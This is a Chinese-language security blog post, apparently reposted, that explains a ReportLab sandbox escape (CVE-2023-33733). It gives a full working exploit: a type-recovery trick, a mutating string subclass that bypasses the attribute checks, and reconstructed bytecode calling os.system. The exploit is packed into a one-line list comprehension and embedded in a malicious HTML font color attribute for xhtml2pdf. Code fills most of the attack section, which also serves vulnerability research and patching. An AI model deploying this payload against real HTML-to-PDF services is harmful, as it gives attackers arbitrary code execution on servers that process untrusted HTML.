CVE-2023-33733 reportlab RCE

admin 2023年6月2日08:52:07评论115 views字数 6344阅读21分8秒阅读模式
CVE-2023-33733 reportlab RCE
REPORTLAB Python 库中的代码注入漏洞

tl;dr这篇文章详细介绍了 Reportlab 中的 RCE 是如何被发现和利用的。由于 Reportlab 在 HTML 到 PDF 处理中的普遍存在,许多处理 PDF 文件的应用程序都可能会遇到此漏洞,因此这是一个需要修补和注意的重要漏洞。

CVE-2023-33733 reportlab RCE

介绍

几天前,在 Web 应用程序审核期间,我们注意到该应用程序正在使用 Reportlab python 库从 HTML 输入执行动态生成 PDF 文件。Reportlab 被发现有一个先前修补的漏洞导致代码执行。这意味着从攻击者的角度来看,找到绕过补丁的方法非常有趣,因为它会导致重新发现代码执行,尤其是 Reportlab 库也用于其他应用程序和工具。

什么是Reportlab

首先,快速回顾一下:Reportlab 是一个开放源代码项目,它允许使用 Python 编程语言以 Adobe 的可移植文档格式 (PDF) 创建文档。它还可以创建各种位图和矢量格式以及 PDF 格式的图表和数据图形。

攻击Reportlab

该库在 2019 年发现了一个类似的漏洞,通过 HTML 标签的 Color 属性导致远程代码执行,该属性的内容被直接评估为使用函数的 python 表达式,从而导致代码执行eval。为了缓解这个问题,Reportlab 实施了一个调用它的沙箱,它rl_safe_eval从所有 python 内置函数中剥离出来,并具有多个覆盖的内置函数,以允许执行库安全代码,同时停止对危险函数和库的任何访问,这些函数和库随后可能导致构建危险的python代码:

这种预防措施的一个例子是内置getattr函数被一个受限函数覆盖__rl_getitem__ ,该函数禁止访问对象的任何危险属性,例如以以下开头的对象__:

class __RL_SAFE_ENV__(object):  __time_time__ = time.time  __weakref_ref__ = weakref.ref  __slicetype__ = type(slice(0))  def __init__(self, timeout=None, allowed_magic_methods=None):    self.timeout = timeout if timeout is not None else self.__rl_tmax__    self.allowed_magic_methods = (__allowed_magic_methods__ if allowed_magic_methods==True                  else allowed_magic_methods) if allowed_magic_methods else []    #[...]    # IN THIS LINE IT CAN BE OBSERVED THAT THE BUILTIN GETATR IS REPLACED WITH A CUSTOM FUNCTION    # THAT CHECKS THE SAFETY OF THE PASSED ATTRIBUTE NAME BEFORE GETTING IT     __rl_builtins__['getattr'] = self.__rl_getattr__    __rl_builtins__['dict'] = __rl_dict__        #[...]  def __rl_getattr__(self, obj, a, *args):    if isinstance(obj, strTypes) and a=='format':      raise BadCode('%s.format is not implemented' % type(obj))    # MULTIPLE CHECKS ARE DONE BEFORE FETCHING THE ATTRIBUTE AND RETURNING IT    # TO THE CALLER IN THE SANDBOXED EVAL ENVIRONMENT     self.__rl_is_allowed_name__(a)    return getattr(obj,a,*args)
  def __rl_is_allowed_name__(self, name):    """Check names if they are allowed.    If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`    are additionally allowed although their names start with `_`.    """    if isinstance(name,strTypes):      # NO ACCESS TO ATTRIBUTES STARTING WITH __ OR MATCH A PREDEFINED UNSAFE ATTRIBUTES NAMES      if name in __rl_unsafe__ or (name.startswith('__')        and name!='__'        and name not in self.allowed_magic_methods):        raise BadCode('unsafe access of %s' % name)

错误

如前所述,安全评估从所有危险功能中清除环境,以便执行代码无法访问可用于执行恶意操作的危险工具,但是如果发现绕过这些限制并可以访问其中一个原始限制builtins函数实现后,将大大方便沙盒环境的利用。

许多被覆盖的内置类之一被调用type,如果用一个参数调用这个类,它返回一个对象的类型。但是如果用三个参数调用它,它会返回一个新类型的对象。这本质上是类语句的动态形式。换句话说,它可以允许创建一个继承自另一个类的新类。

因此,这里的想法是创建一个名为的新类,Word该类继承自str该类,当传递给自定义时,getattr它将绕过检查并允许访问敏感属性,例如__code__.

getattr在沙盒 eval 中的自定义返回属性之前,它会__rl_is_allowed_name__在调用 python 内置函数getattr并返回结果之前通过调用检查被调用属性的安全性来进行一些检查。

  def __rl_is_allowed_name__(self, name):    """Check names if they are allowed.    If ``allow_magic_methods is True`` names in `__allowed_magic_methods__`    are additionally allowed although their names start with `_`.    """    if isinstance(name,strTypes):      if name in __rl_unsafe__ or (name.startswith('__')        and name!='__'        and name not in self.allowed_magic_methods):        raise BadCode('unsafe access of %s' % name)

要绕过该__rl_is_allowed_name__函数,Word类应该:

  • 始终返回False调用函数startswith以绕过(name.startswith('__')
  • 应该返回False到它的第一次调用以__eq__绕过name in __rl_unsafe__,在第一次调用之后它应该返回正确的响应,因为当__eq__被 python 内置调用时getattr它应该返回正确的结果。
  • 散列应该与其基础字符串的散列相同

以下类满足这些条件:

Word = type('Word', (str,), {            'mutated'   : 1,            'startswith': lambda self, x: False,            '__eq__'    : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,            'mutate'    : lambda self: {setattr(self, 'mutated', self.mutated - 1)},            '__hash__'  : lambda self: hash(str(self))            })code = Word('__code__')print(code == '__code__')    ## prints Falseprint(code == '__code__')    ## prints Trueprint(code == '__code__')    ## prints Trueprint(code == '__code__')    ## prints True
print(code.startswith('__')) ## prints False

安全 eval 中的自定义类型函数不允许传递三个参数:

  def __rl_type__(self,*args):    if len(args)==1: return type(*args)    raise BadCode('type call error')

通过调用 type 自身找到了绕过它的方法,允许检索原始内置type函数:

orgTypeFun = type(type(1))

结合这两行代码会得到这样的东西:

orgTypeFun = type(type(1))Word = orgTypeFun('Word', (str,), {            'mutated'   : 1,            'startswith': lambda self, x: False,            '__eq__'    : lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,            'mutate'    : lambda self: {setattr(self, 'mutated', self.mutated - 1)},            '__hash__'  : lambda self: hash(str(self))            })

最终利用

现在剩下的就是编写 exploit:

为此,将从编译后的字节码中重构一个函数:

orgTypeFun = type(type(1))Word = orgTypeFun('Word', (str,), {    'mutated': 1,            'startswith': lambda self, x: False,            '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x,            'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},            '__hash__': lambda self: hash(str(self))            })codeattr = Word('__code__')ftype = orgTypeFun(lambda: {None})ctype = orgTypeFun(getattr(lambda: {None},codeattr))
# The byte code is of a function that looks like this# def exp():#     __import__('os').system('touch /tmp/exploited')
f = ftype(ctype(0, 0, 0, 0, 3, 67, b'tx00dx01x83x01xa0x01dx02xa1x01x01x00dx00Sx00',                       (None, 'os', 'touch /tmp/exploited'), ('__import__', 'system'), (), '<stdin>', '', 1, b'x12x01'), {})f()

然而,像这样的多行表达式不会在 eval 上下文中执行,要绕过这个问题,list comprehension可以使用技巧,如下所示:

[print(x) for x in ['hellworld']]# which would be equivalent to x='helloworld'print(x)

[[ print (x + ' ' + y) for y in ['second var']]  for x in ['first var']]# which would be equivalent to x='first var'x='second var'print (x + ' ' + y)

使用这种技术,漏洞利用代码可以像这样用一行代码重写(这被认为是一行 x)这里的多行只是格式化以增加漏洞利用的可读性,声明应该从下到上阅读 x)很奇怪但是这就是它的工作原理):

[    [        [             [                 ftype(ctype(0, 0, 0, 0, 3, 67, b'tx00dx01x83x01xa0x01dx02xa1x01x01x00dx00Sx00',                       (None, 'os', 'touch /tmp/exploited'), ('__import__', 'system'), (), '<stdin>', '', 1, b'x12x01'), {})()                 for ftype in [type(lambda: None)]             ]             for ctype in [type(getattr(lambda: {None}, Word('__code__')))]        ]        for Word in [orgTypeFun('Word', (str,), {            'mutated': 1,            'startswith': lambda self, x: False,            '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x,            'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},            '__hash__': lambda self: hash(str(self))        })]    ]    for orgTypeFun in [type(type(1))]]

概念验证

请参考,poc.py因为它包含演示代码执行的概念证明(成功利用后,exploited将在 /tmp/ 中创建一个名为的文件)。

还有什么?

许多应用程序和库都使用 Reportlab 库,例如 xhtml2pdf 实用程序函数很容易受到攻击,并且在将恶意 HTML 转换为 pdf 时可能会受到代码执行的影响

cat >mallicious.html <<EOF<para><font color="[ [ [ [ [ ftype(ctype(0, 0, 0, 0, 3, 67, b't\x00d\x01\x83\x01\xa0\x01d\x02\xa1\x01\x01\x00d\x00S\x00', (none, 'os', 'touch /tmp/exploited'), ('__import__', 'system'), (), '<stdin>', '', 1, b'\x12\x01'), {})() for ftype in [type(lambda: none)] ] for ctype in [type(getattr(lambda: {none}, Word('__code__')))] ] for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1==0, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] for none in  [[].append(1)]]]">                exploit                </font></para>EOF
xhtml2pdf mallicious.htmlls -al /tmp/exploited``

参考:https://github.com/c53elyas/CVE-2023-33733

原文始发于微信公众号(Ots安全):CVE-2023-33733 reportlab RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月2日08:52:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-33733 reportlab RCEhttp://cn-sec.com/archives/1777309.html

发表评论

匿名网友 填写信息